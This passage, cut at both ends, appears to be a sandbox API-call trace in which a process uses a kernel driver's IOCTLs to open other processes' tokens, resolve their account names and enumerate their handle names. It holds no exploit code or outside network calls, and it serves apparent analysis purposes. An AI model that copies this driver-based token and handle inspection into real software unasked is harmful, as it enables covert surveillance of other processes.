dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.711] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x530) returned 0xc0 [0113.711] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.711] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800330c360, HandleInformation=0x0) returned 0x0 [0113.711] ObOpenObjectByPointer (in: Object=0xfffffa800330c360, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000aa4) returned 0x0 [0113.711] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x37 [0113.711] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000aa4, DesiredAccess=0x8, TokenHandle=0xfffffa8003816040 | out: TokenHandle=0xfffffa8003816040*=0xc8) returned 0x0 [0113.711] ZwClose (Handle=0xffffffff80000aa4) returned 0x0 [0113.711] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.711] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.711] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.712] CloseHandle (hObject=0xc8) returned 1 [0113.712] CloseHandle (hObject=0xc0) returned 1 [0113.712] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.712] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.712] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.712] PsAcquireProcessExitSynchronization () returned 0x0 [0113.712] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880055905d0) [0113.712] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800330cf20, HandleInformation=0x0) returned 0x0 [0113.712] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.712] PsReleaseProcessExitSynchronization () returned 0x2 [0113.712] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0113.712] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.713] ObfDereferenceObject (Object=0xfffffa800330cf20) returned 0x1 [0113.713] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.713] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.713] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.713] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.713] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.713] PsAcquireProcessExitSynchronization () returned 0x0 [0113.713] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880055905d0) [0113.713] ObReferenceObjectByHandle (in: Handle=0x68, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032b3c80, HandleInformation=0x0) returned 0x0 [0113.713] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.713] PsReleaseProcessExitSynchronization () returned 0x2 [0113.713] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0113.713] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.713] ObfDereferenceObject (Object=0xfffffa80032b3c80) returned 0x1 [0113.713] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.713] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.713] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.713] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.713] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.713] PsAcquireProcessExitSynchronization () returned 0x0 [0113.713] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880055905d0) [0113.713] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.713] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.713] PsReleaseProcessExitSynchronization () returned 0x2 [0113.713] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0113.713] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.713] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.713] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.713] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.713] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.713] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.713] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.714] PsAcquireProcessExitSynchronization () returned 0x0 [0113.714] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880055905d0) [0113.714] ObReferenceObjectByHandle (in: Handle=0x148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.714] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.714] PsReleaseProcessExitSynchronization () returned 0x2 [0113.714] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0113.714] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.714] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.714] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.714] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.714] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x720) returned 0xc0 [0113.714] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.714] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002251300, HandleInformation=0x0) returned 0x0 [0113.714] ObOpenObjectByPointer (in: Object=0xfffffa8002251300, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000aa4) returned 0x0 [0113.714] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4c [0113.714] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000aa4, DesiredAccess=0x8, TokenHandle=0xfffffa8003816040 | out: TokenHandle=0xfffffa8003816040*=0xc8) returned 0x0 [0113.714] ZwClose (Handle=0xffffffff80000aa4) returned 0x0 [0113.714] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.714] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.714] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.716] CloseHandle (hObject=0xc8) returned 1 [0113.716] CloseHandle (hObject=0xc0) returned 1 [0113.716] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.716] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.716] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.716] PsAcquireProcessExitSynchronization () returned 0x0 [0113.716] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.716] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031b5390, HandleInformation=0x0) returned 0x0 [0113.716] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.716] PsReleaseProcessExitSynchronization () returned 0x2 [0113.716] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.716] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.716] ObfDereferenceObject (Object=0xfffffa80031b5390) returned 0x1 [0113.716] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.716] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.716] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.716] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.716] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.716] PsAcquireProcessExitSynchronization () returned 0x0 [0113.716] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.716] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800eb5b310, HandleInformation=0x0) returned 0x0 [0113.716] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.716] PsReleaseProcessExitSynchronization () returned 0x2 [0113.716] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.716] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.716] ObfDereferenceObject (Object=0xfffffa800eb5b310) returned 0x1 [0113.716] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.716] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.717] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.717] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.717] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.717] PsAcquireProcessExitSynchronization () returned 0x0 [0113.717] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.717] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.717] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.717] PsReleaseProcessExitSynchronization () returned 0x2 [0113.717] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.717] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.717] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.717] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.717] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.717] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.717] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.717] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.717] PsAcquireProcessExitSynchronization () returned 0x0 [0113.717] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.717] ObReferenceObjectByHandle (in: Handle=0xdc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.717] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.717] PsReleaseProcessExitSynchronization () returned 0x2 [0113.717] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.717] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.717] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.717] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.717] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.717] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.717] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0113.717] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.717] PsAcquireProcessExitSynchronization () returned 0x0 [0113.717] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.717] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0113.717] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.718] PsReleaseProcessExitSynchronization () returned 0x2 [0113.718] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.718] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.718] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0113.718] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.718] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.718] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.718] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0113.718] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.718] PsAcquireProcessExitSynchronization () returned 0x0 [0113.718] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.718] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003075a50, HandleInformation=0x0) returned 0x0 [0113.718] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.718] PsReleaseProcessExitSynchronization () returned 0x2 [0113.718] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.718] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.718] ObfDereferenceObject (Object=0xfffffa8003075a50) returned 0x3 [0113.718] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.718] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.718] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.718] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0113.718] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.718] PsAcquireProcessExitSynchronization () returned 0x0 [0113.718] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.718] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800358f410, HandleInformation=0x0) returned 0x0 [0113.718] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.718] PsReleaseProcessExitSynchronization () returned 0x2 [0113.718] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.718] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.718] ObfDereferenceObject (Object=0xfffffa800358f410) returned 0x2 [0113.718] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.719] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.719] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.719] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0113.719] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.719] PsAcquireProcessExitSynchronization () returned 0x0 [0113.719] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.719] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001a09190, HandleInformation=0x0) returned 0x0 [0113.719] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.719] PsReleaseProcessExitSynchronization () returned 0x2 [0113.719] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.719] ObQueryNameString (in: Object=0xfffff8a001a09190, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.719] ObfDereferenceObject (Object=0xfffff8a001a09190) returned 0x2 [0113.719] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.719] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.719] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.719] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0113.719] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.719] PsAcquireProcessExitSynchronization () returned 0x0 [0113.719] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.719] ObReferenceObjectByHandle (in: Handle=0x158, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001a979e0, HandleInformation=0x0) returned 0x0 [0113.719] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.719] PsReleaseProcessExitSynchronization () returned 0x2 [0113.719] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.719] ObQueryNameString (in: Object=0xfffff8a001a979e0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.719] 